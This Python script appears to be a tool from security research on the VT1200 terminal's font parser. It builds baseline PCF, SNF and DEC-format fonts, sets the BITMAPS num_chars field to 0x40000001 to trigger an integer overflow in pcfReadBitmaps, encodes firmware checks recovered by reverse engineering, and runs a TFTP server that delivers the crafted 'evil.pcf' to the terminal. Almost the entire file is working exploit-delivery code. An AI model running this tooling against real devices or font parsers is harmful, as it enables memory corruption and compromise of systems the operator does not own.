#!/usr/bin/env python3
"""VT1200 font delivery harness.

Two jobs:

1. **PCF fonts** — parse/modify Portable Compiled Format fonts (the format the
   VT1200's MIT-X11-derived font parser reads; see EXPLOIT_NOTES.md).  The
   primitive we care about is the BITMAPS table's ``num_chars`` field, which
   ``pcfReadBitmaps`` multiplies by 4 without an overflow check.

2. **TFTP server** — the terminal is the TFTP *client* for its font path, so we
   serve the font files (and ``fonts.dir``) to it.

CLI::

    python3 tools/fontgen.py baseline out.pcf
    python3 tools/fontgen.py mutate base.pcf evil.pcf --num-chars 0x40000001
    python3 tools/fontgen.py serve evil.pcf --host 0.0.0.0 --port 69
"""
import argparse
import os
import socket
import struct
import subprocess
import sys
import tempfile
import threading
import time

PCF_MAGIC = b"\x01fcp"          # PCF_FILE_VERSION, little-endian ('p','c','f',1)
PCF_VERSION = 0x70636601
FMT_MS_BYTE = 1 << 2            # fontlib.h: format bit 2 -> MSBFirst byte order

# font.h table labels
PROPERTIES = 1 << 0
ACCELERATORS = 1 << 1
METRICS = 1 << 2
BITMAPS = 1 << 3
INK_METRICS = 1 << 4
ENCODINGS = 1 << 5
SWIDTHS = 1 << 6
GLYPH_NAMES = 1 << 7
BDF_ENCODINGS = 1 << 8

LABELS = {
    PROPERTIES: "PROPERTIES", ACCELERATORS: "ACCELERATORS", METRICS: "METRICS",
    BITMAPS: "BITMAPS", INK_METRICS: "INK_METRICS", ENCODINGS: "ENCODINGS",
    SWIDTHS: "SWIDTHS", GLYPH_NAMES: "GLYPH_NAMES", BDF_ENCODINGS: "BDF_ENCODINGS",
}

TFTP_RRQ, TFTP_DATA, TFTP_ACK, TFTP_ERROR = 1, 3, 4, 5


# --------------------------------------------------------------------------- PCF

def pcf_tables(data):
    """Return the table of contents as a list of dicts."""
    if len(data) < 8 or data[:4] != PCF_MAGIC:
        raise ValueError("not a PCF file (bad magic)")
    n = struct.unpack_from("<I", data, 4)[0]
    if 8 + 16 * n > len(data):
        raise ValueError("truncated table of contents")
    tables = []
    for i in range(n):
        label, fmt, size, off = struct.unpack_from("<IIII", data, 8 + 16 * i)
        tables.append({"label": label, "format": fmt, "size": size, "offset": off})
    return tables


def find_table(data, label):
    for t in pcf_tables(data):
        if t["label"] == label:
            return t
    return None


def _order(fmt):
    """Byte order of a table body, from its format field (FMT_MS_BYTE)."""
    return ">" if (fmt & FMT_MS_BYTE) else "<"


def get_num_chars(data):
    """The BITMAPS 'num_chars' field at table_offset + 4 (in the table's byte order)."""
    t = find_table(data, BITMAPS)
    if t is None:
        raise ValueError("no BITMAPS table")
    return struct.unpack_from(_order(t["format"]) + "I", data, t["offset"] + 4)[0]


def set_num_chars(data, n):
    """Return *data* with the BITMAPS num_chars rewritten (bytes untouched elsewhere)."""
    t = find_table(data, BITMAPS)
    if t is None:
        raise ValueError("no BITMAPS table")
    out = bytearray(data)
    struct.pack_into(_order(t["format"]) + "I", out, t["offset"] + 4, n & 0xFFFFFFFF)
    return bytes(out)


# --------------------------------------------------------------------------- BDF

BDF_TEMPLATE = """STARTFONT 2.1
FONT -misc-{name}-medium-r-normal--{h}-{pt}-75-75-c-{avg}-iso8859-1
SIZE {pt} 75 75
FONTBOUNDINGBOX {w} {h} 0 -{d}
STARTPROPERTIES 3
FONT_ASCENT {a}
FONT_DESCENT {d}
DEFAULT_CHAR 0
ENDPROPERTIES
CHARS 1
STARTCHAR {char}
ENCODING {enc}
SWIDTH 500 0
DWIDTH {w} 0
BBX {w} {h} 0 -{d}
BITMAP
{bitmap}
ENDCHAR
ENDFONT
"""


def minimal_bdf(name="vt1200test", char="A", encoding=65, w=8, h=8, ascent=6, descent=2):
    """A tiny but valid BDF, good enough for bdftopcf.

    The XLFD uses PIXEL_SIZE={h}, POINT_SIZE={h*10}, AVERAGE_WIDTH={w*10} so the
    name bdftopcf stores is the canonical, 10x-scaled form.
    """
    rows = ["1C", "3E", "63", "63", "7F", "63", "63", "63"][:h]
    rows += ["00"] * (h - len(rows))
    return BDF_TEMPLATE.format(name=name, char=char, enc=encoding, w=w, h=h,
                               a=ascent, d=descent, pt=h * 10, avg=w * 10,
                               bitmap="\n".join(rows))


def build_baseline_pcf(out_path, font_name="vt1200test"):
    """Write a valid PCF font produced by bdftopcf from our generated BDF."""
    with tempfile.TemporaryDirectory() as d:
        bpath = os.path.join(d, "f.bdf")
        with open(bpath, "w") as fh:
            fh.write(minimal_bdf(font_name))
        r = subprocess.run(["bdftopcf", "-o", out_path, bpath],
                           capture_output=True, text=True)
        if r.returncode != 0:
            raise SystemExit(f"bdftopcf failed: {r.stderr}")
    return out_path


# --------------------------------------------------------------------------- SNF

SNF_VERSION = 4
SNF_GLYPH = bytes([0x1C, 0x3E, 0x63, 0x63, 0x7F, 0x63, 0x63, 0x63])


def _xcharinfo(metrics, e="<"):
    return struct.pack(e + "6H", *[m & 0xFFFF for m in metrics])


def make_snf(name, char=65, w=8, h=8, ascent=6, descent=2, e="<", dec_magic=False):
    """Build a minimal SNF (Server Normal Font) file.

    Layout per snfstr.h: snfFontInfoRec, char-info array, glyphs (padded to a
    32-bit boundary), snfFontPropRec array, then the property string table.
    SNF is CPU/framebuffer dependent, so the byte order must match the host.

    ``dec_magic=True`` stamps version1/version2 with DEC's own value
    (0x01DF5E76 = pi*1e7) instead of the MIT version 4 — the VT1200 firmware
    checks for DEC's value.
    """
    version = 0x01DF5E76 if dec_magic else SNF_VERSION
    first_col, last_col = 0, 255
    first_row, last_row = 0, 0
    n2d = (last_row - first_row + 1) * (last_col - first_col + 1)

    glyph = SNF_GLYPH[:h]
    glyphs = glyph + b"\x00" * ((4 - len(glyph) % 4) % 4)

    metrics = (0, w, w, ascent, descent, 0)
    zero = (0, 0, 0, 0, 0, 0)

    ci = []
    for code in range(first_col, last_col + 1):
        if code == char:
            word = (0 & 0xFFFFFF) | (1 << 24)        # byteOffset=0, exists=1
            ci.append(_xcharinfo(metrics, e) + struct.pack(e + "I", word))
        else:
            ci.append(_xcharinfo(zero, e) + struct.pack(e + "I", 0))
    charinfo = b"".join(ci)

    strings = name.encode("latin1") + b"\x00"
    nprops = 1
    props = struct.pack(e + "III", 0, 0, 1)          # name=0, value=0, indirect

    minb = _xcharinfo(zero, e) + struct.pack(e + "I", 0)
    maxb = _xcharinfo(metrics, e) + struct.pack(e + "I", len(glyphs))

    hdr = struct.pack(e + "6I", version, 1, 0, 1, 1, 0)
    hdr += struct.pack(e + "I", 0x0E)                # linear|constantWidth|inkInside
    hdr += struct.pack(e + "IIII", first_col, last_col, first_row, last_row)
    hdr += struct.pack(e + "III", nprops, len(strings), char)
    hdr += struct.pack(e + "ii", -descent, ascent)
    hdr += minb + maxb
    hdr += struct.pack(e + "III", 1, 1, version)
    if len(hdr) != 108:
        raise AssertionError(f"SNF header is {len(hdr)} bytes, expected 108")
    return hdr + charinfo + glyphs + props + strings


def make_dec_snf(name="VT1200PROBE1", e="<", hdr=b"\x00" * 0x54, extra=b""):
    """Minimal DEC font container satisfying the firmware's entry checks.

    Recovered from the VT1200 reader (0x0ED70A-0x0ED8C0):
      file[0:4]   == 0x01DF5E76   (pi*1e7)
      file[4:6]   == 0x0054
      file[12:14] == 0x0054        (start of the 0x54-byte header)
      file[44:46] == 0x0001        (header + 0x20)
      file[60:62] == 0x0006        (header + 0x30)
    """
    h = bytearray(hdr)
    struct.pack_into(e + "H", h, 0x00, 0x54)
    struct.pack_into(e + "H", h, 0x20, 0x01)
    struct.pack_into(e + "H", h, 0x30, 0x06)
    return (struct.pack(e + "I", 0x01DF5E76)     # file[0:4]
            + struct.pack(e + "H", 0x54)         # file[4:6]
            + b"\x00" * 6                        # file[6:12]
            + bytes(h)) + extra


# --------------------------------------------------------------------------- TFTP

class TFTPServer:
    """Minimal RFC 783 TFTP read server (octet mode), single transfer at a time."""

    def __init__(self, address, files, blksize=512, timeout=2.0, retries=5, resolver=None):
        self.files = dict(files)
        self.resolver = resolver
        self.blksize = blksize
        self.timeout = timeout
        self.retries = retries
        self.log = []
        self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self._sock.bind(address)
        self._sock.settimeout(timeout)
        self.address = self._sock.getsockname()
        self._stop = threading.Event()
        self._thread = None

    def start(self):
        self._thread = threading.Thread(target=self._serve, daemon=True)
        self._thread.start()
        return self

    def stop(self):
        self._stop.set()
        try:
            self._sock.close()
        except OSError:
            pass
        if self._thread:
            self._thread.join(timeout=1)

    def _serve(self):
        while not self._stop.is_set():
            try:
                data, addr = self._sock.recvfrom(4096)
            except socket.timeout:
                continue                      # idle: keep serving
            except OSError:
                return                        # socket closed -> stop
            if len(data) < 4 or data[:2] != TFTP_RRQ.to_bytes(2, "big"):
                continue
            name = data[2:].split(b"\x00", 1)[0].decode("latin1")
            self.log.append((time.time(), name, addr))
            try:
                content = self.files.get(name)
                if content is None and self.resolver is not None:
                    content = self.resolver(name)
                if content is None:
                    self._send_error(addr, 1, "File not found")
                    continue
                self._send_file(addr, content)
            except Exception as exc:          # never let one transfer kill the server
                print(f"tftp: transfer error for {name!r}: {exc!r}", file=sys.stderr)

    def _send_error(self, addr, code, msg):
        pkt = TFTP_ERROR.to_bytes(2, "big") + code.to_bytes(2, "big") + msg.encode() + b"\x00"
        try:
            self._sock.sendto(pkt, addr)
        except OSError:
            pass

    def _send_file(self, addr, content):
        if content:
            blocks = [content[i:i + self.blksize] for i in range(0, len(content), self.blksize)]
            if len(content) % self.blksize == 0:
                blocks.append(b"")            # short block terminates the transfer
        else:
            blocks = [b""]
        for idx, blk in enumerate(blocks, start=1):
            num = idx & 0xFFFF
            pkt = TFTP_DATA.to_bytes(2, "big") + num.to_bytes(2, "big") + blk
            for _ in range(self.retries):
                if self._stop.is_set():
                    return
                try:
                    self._sock.sendto(pkt, addr)
                except OSError as exc:
                    print(f"tftp: sendto {addr} failed: {exc!r}", file=sys.stderr, flush=True)
                    return
                try:
                    resp, raddr = self._sock.recvfrom(4096)
                except OSError:
                    continue
                if raddr != addr:
                    continue
                if len(resp) >= 2 and resp[:2] == TFTP_ERROR.to_bytes(2, "big"):
                    print(f"tftp: client aborted transfer: "
                          f"{resp[2:].decode('latin1', 'replace')!r}",
                          file=sys.stderr, flush=True)
                    return
                if (len(resp) >= 4 and resp[:2] == TFTP_ACK.to_bytes(2, "big")
                        and int.from_bytes(resp[2:4], "big") == num):
                    break
            else:
                return
            if self._stop.is_set():
                return


# --------------------------------------------------------------------------- CLI

def main(argv=None):
    ap = argparse.ArgumentParser(description=__doc__,
                                 formatter_class=argparse.RawDescriptionHelpFormatter)
    sub = ap.add_subparsers(dest="cmd", required=True)

    b = sub.add_parser("baseline", help="generate a valid PCF via bdftopcf")
    b.add_argument("out")
    b.add_argument("--name", default="vt1200test")

    m = sub.add_parser("mutate", help="rewrite BITMAPS num_chars")
    m.add_argument("infile")
    m.add_argument("out")
    m.add_argument("--num-chars", type=lambda s: int(s, 0), default=0x40000001)

    s = sub.add_parser("serve", help="serve a font over TFTP")
    s.add_argument("font")
    s.add_argument("--host", default="0.0.0.0")
    s.add_argument("--port", type=int, default=69)
    s.add_argument("--name", default="font.DECW$FONT")
    s.add_argument("--fonts-dir", help="also serve this file as 'fonts.dir'")

    a = sub.add_parser("info", help="print a PCF's table of contents")
    a.add_argument("infile")

    n = sub.add_parser("snf", help="generate a minimal SNF font")
    n.add_argument("out")
    n.add_argument("--name", default="VT1200PROBE1")
    n.add_argument("--dec-magic", action="store_true",
                   help="stamp DEC's version (pi*1e7) instead of MIT's 4")
    n.add_argument("--dec-layout", action="store_true",
                   help="emit the DEC container layout the firmware checks for")

    args = ap.parse_args(argv)

    if args.cmd == "baseline":
        build_baseline_pcf(args.out, args.name)
        print(f"wrote {args.out}")
    elif args.cmd == "mutate":
        with open(args.infile, "rb") as fh:
            data = fh.read()
        was = get_num_chars(data)
        out = set_num_chars(data, args.num_chars)
        with open(args.out, "wb") as fh:
            fh.write(out)
        print(f"BITMAPS num_chars: {was} (0x{was:X}) -> {args.num_chars} (0x{args.num_chars:X})")
        print(f"wrote {args.out} ({len(out)} bytes)")
    elif args.cmd == "info":
        with open(args.infile, "rb") as fh:
            data = fh.read()
        for t in pcf_tables(data):
            name = LABELS.get(t["label"], hex(t["label"]))
            extra = ""
            if t["label"] == BITMAPS:
                extra = f"  num_chars={get_num_chars(data)}"
            print(f"  {name:14} fmt={t['format']:#x} size={t['size']:6} off={t['offset']:6}{extra}")
    elif args.cmd == "snf":
        data = (make_dec_snf(args.name) if args.dec_layout
                else make_snf(args.name, dec_magic=args.dec_magic))
        with open(args.out, "wb") as fh:
            fh.write(data)
        print(f"wrote {args.out} ({len(data)} bytes), font name {args.name!r}")
    elif args.cmd == "serve":
        with open(args.font, "rb") as fh:
            content = fh.read()
        files = {args.name: content, os.path.basename(args.font): content}
        if args.fonts_dir:
            with open(args.fonts_dir, "rb") as fh:
                files["fonts.dir"] = fh.read()
        srv = TFTPServer((args.host, args.port), files).start()
        print(f"TFTP serving {len(files)} file(s) on {srv.address[0]}:{srv.address[1]}")
        print(f"  names: {', '.join(sorted(files))}")
        try:
            while True:
                time.sleep(1)
                while srv.log:
                    ts, name, addr = srv.log.pop(0)
                    print(f"  {time.strftime('%H:%M:%S', time.localtime(ts))}  {addr[0]}:{addr[1]} requested {name}")
        except KeyboardInterrupt:
            pass
        finally:
            srv.stop()
    return 0


if __name__ == "__main__":
    sys.exit(main())